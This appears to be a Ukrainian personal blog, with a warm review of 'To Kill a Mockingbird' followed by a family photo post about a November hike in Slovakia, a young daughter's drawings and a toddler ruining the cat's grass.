В центрі подій, так би сказати, двоє дітей – брат та молодша сестра, Джем і Джин. Розповідь ведеться від імені Джин, з її дитячим ще сприйняттям світу і подій, з її дитячою наївністю і розумінням речей. І, напевно, Джин варто вважати головною героїнею в цій книжці, але, як на мене, вона тут більше оповідач, аніж головна героїня. Їх батько Аттікус – адвокат, береться захищати негра, якого звинувачують у згвалтуванні білої дівчини, бо вважає його невинним, хоч і розуміє, що справу виграти буде важко. Батько дівчини озлоблюється на Аттікуса та обіцяє помститися, але ніхто й не очікував, що в такий підлий спосіб.
Джин, яку прозивають Всевидьком, дуже щиро розповідає про події, повязані з цим судом, а ще дуже багато про свої пригоди разом з братом та сусідським хлопцем Ділом, який приїздить у їхнє містечко на літо, про школу і як їй там нецікаво, про свої стосунки з братом, про те, як вона з братом та Ділом намагаються виманити на вулицю і подивитися на свого сусіда Страхолюда, який весь час сидить дома і якого в “живу”, здається ніхто не бачив, і ще про багато інших дитячих важливх справ:)
Дуже-предуже кльово описано стосунки між батьком та його дітьми і між братом та сестрою.
Одним словом – дуже домашня і затишна книжка, якась така дуже дуже родинна, світла і просто добра. Я не знаю як ще можна описати враження від неї. Просто ще скажу, що згадуючи про неї, я завжди посміхаюся.
Трохи цитат для більшого зацікавлення:
“є у людини щось таке, що не скориться більшості, – це її совість”
– “більшість людей хороші, коли їх зрозумієш”
– “розумієш, дівчинко, це не образа, коли тебе називають словом, яке комусь здається образливим. Це тільки свідчить, яка жалюгідна душа у людини, що так каже”
– “коли дитина щось питає, ради бога, поясни їй. Не треба викручуватися. Діти це діти, вони швидше, ніж дорослі, помічають, коли ми починаємо ухилятися, це їх тільки збиває з пантелику”
– “для того, щоб жити по совісті з іншими людьми, я повинен жити в злагоді з власною совістю. Діяти по совісті не завжди означає погоджуватися з думкою більшості”
– “с
правжня мужність — це коли ти знаєш наперед, що не переможеш, а все одно борешся, борешся до кінця. Рідко перемагаєш, а все-таки часом перемагаєш”
Так що дуже сильно раджу до читання.

П.с.: сьогодні в мене буде кіновечір з однойменним фільмом  1962 року, який, до речі, має три оскари;)

Фоторік: листопадове, Улькіні малювалки і трошки збитошного Андрійка:)

З старим новим роком вас всіх!
Я сьогодні буду далі фотозвітити. Листопад в нас був дуже хорошим, осінньо-кольоровим і теплим. А ще почали жовтіти сакури і я знову буду вам показувати, як же вони красивезно жовтіють!
SDC13029
SDC13031
Лянка, як завжди, робила листяний дощик і шурхала листя ногами)
SDC13023
SDC13018SDC13026
Ми навіть на грилювачку вибралися. На Шіклош. Це така висока-висока гора близько Левіц. Звідти просто шикарні краєвиди. Деякі фото, правда, ще з весни

SDC11471
SDC11472
SDC11475
А ще є отакі от “сходи в небо” з маленьким оглядовим майданчиком нагорі. Я тільки разок туди вилізала, страшно спускатися, там така висота і враження, що під прямим кутом майже.
SDC11465
SDC12985

А ще я давно хочу розказати вам про Улькині малювалки. Думала окремим дописом то зробити, але так як листопад мало фотографувався, доповню його Уляськіними малюваннями.
Отже, ви всі вже в курсі, що Лянка любитель щось малювати. Любов до карлюкання в неї присутня від самого початку – ото навчилася тримати олівець в руках, зрозуміла, що воно таке і всьо, дитина має хоч одне постійне захоплення. В Словаччині вона вже третій рік ходить на малювання і вони там не тільки малюють;)
Від початку і, практично, до тепер Ульку не дуже бавить колір. Який олівець вхопить, тим все і малює. Правда, десь так з 4,5 років почала трохи свої малюнки розфарбовувати, але то якось не дуже їй цікаво, так бачу. Розмальовки всіляки не дуже їй цікаві теж, але от вчора попросила купити їй “Барвистий світ”. Як не передумає, то куплю в Україні за 70 чи скільки там гривень, бо якось мені не дуже хочеться платити 10-12 євро за словацьке видання.
А ще я так замітила, що Ляна майже у всіх випадках малює тільки щось таке, що десь бачила вже намальоване. Тобто – малювати “з натури” їй не хочеться, каже, що не знає як. Намалювати щось вигадане, з власної уяви, так би сказати, їй теж не хочеться. Хоча, як прийде на неї настрій, то таке повимальовує:)
Але і тут є нюанси: Улька каже “я не знаю як“, а тоді просить “покажи!”. І от якщо їй показати покроково як щось намалювати, то вона намалює практично що завгодно.
А ще за малюнками дуже добре відслідковувати душевний стан дитини, я би сказала. Був в нас період, коли все мальоване було сумне, мало неусміхнені личка і були “такі злі, бо їх зачарувала відьма” або “сумні, бо були нечемні” або “бо вдарилися, бо загубили корону чи щось інше…”. Дякувати Богу, зараз всі позитивні і усміхнені)))
За своїми малюнками Улька часто вигадує якісь зовсім неймовірні історії, і любить малювати “за мультиками” чи “за книжками”.
Ще одна фішка – Уляська любить малювати сердечка: самі по собі, з очима і посмішками, і по центру грудей в котиків, дівчаток, мами, ангелика і так далі. А потім приносить мені той загорнутий папірчик і каже, що то мені прийшов лист. Коли я його розгортаю – бачу сердечко і вона зразу така пояснює “мама, то для тебе селдецко, то означає, що я тебе люблю“))).
Не так давно в Улькиних малювалках появилася ще одна особливість. Коли вона кимось незадоволена чи на когось зла, то малює ту особу, а потім її закреслює-закарлюкує. Ну наприклад, я не дозволила подивитися мультик і вона, хоч і не завжди, але деколи супиться і каже “мама, ти зла! я тебе зала наквеслю(=накреслю, словацькою “намалюю”), і так замалюю! певеклеслю!!!” чи “Андійко! шо ти накоїв! звий хвопчик!  мама, Андійко звий! я його зава поклеслю!”
Щоб ви розуміли ситуацію до кінця, слово “злий” Улька вживає не в українському розуміння значення цього слова. Просто словацькою zly, zla – це щось на зразок українського “недобрий, недобра” і навіть десь трохи “поганий”. Я так думаю, Улька тут має на увазі “неправий, неправильний”, бо ж робиш щось, що їй не подобається.  Про деякі ситуації вона теж каже, що то зле, наприклад, коли хтось викине сміття під ноги, вона зразу коментує, що то є зле смітити. Ну, думаю ви розумієте. І от я думаю, то добре чи не дуже, що дитина в такий спосіб “виливає” свої негативні емоції. Як думаєте?
Ну і власне самі малюнки, які я була назбирала по хаті і вчепила на стіну. Лянусі то було приємно і вона всім показувала свої малювалки))) Це – загальний вигляд:
SDC13000
Є трішки клеєного з паперу і з Нравок дещо, а отой котик вгорі то перемальований з готової картинки на кальку і так приклеєний. Робила на малюванні.
Ну, і дещо зблизька: оце наша сім’я:
SDC13002
Це мама (чомусь завжди з великою головою) і котик, яких Улька почала повально малювати в усіляких можливих позах після того, як намалювала на виставку Цукрика, і Улянка. Автопортрет можна сказати)))
SDC13008 SDC13001 SDC13005
Вчилися малювати коровку (ота з сердечками – моя, здається), тим більше, що в нас на столі є клейонка з кумедними коровами. Потім пішли варіації на тему баранчика:) Баранчику я тільки роги і вуха обвела жирнішим “шрифтом”)))
SDC13011 SDC13012
А це перед морем ми трохи обговорювали нашу поїздку, дивилися відео і картинки про море в інтернеті. Уляська ж ніколи не була на морі і не дуже знала, що то таке, хіба з мультиків. В дитини пішла морська тема:
SDC13006 SDC13004 SDC13007
Ну і шедевр, як на мене! Це вже в Хорватії після першого дня я запропонувала Лянці намалювати море, і вона зразу така “я не знаю як, покажи”. І ото я ручкою з однієї сторони альбому малювала як небуть море, а вона з іншого боку олівцями повторювала:
SDC13009

Ну і ще на десерт трохи шкодливого Андрійка. Це була плекана мною аж цілих два тижні котяча трава для Цукрика. Цукрик теж офігівшими очима спостерігала все те неподобство. Тільки Андрійко залишався спокійним і впевнено та методично доводив діло до кінця:
SDC13050 SDC13049 SDC13046
SDC13047

Оце і все, ще почитаємось:)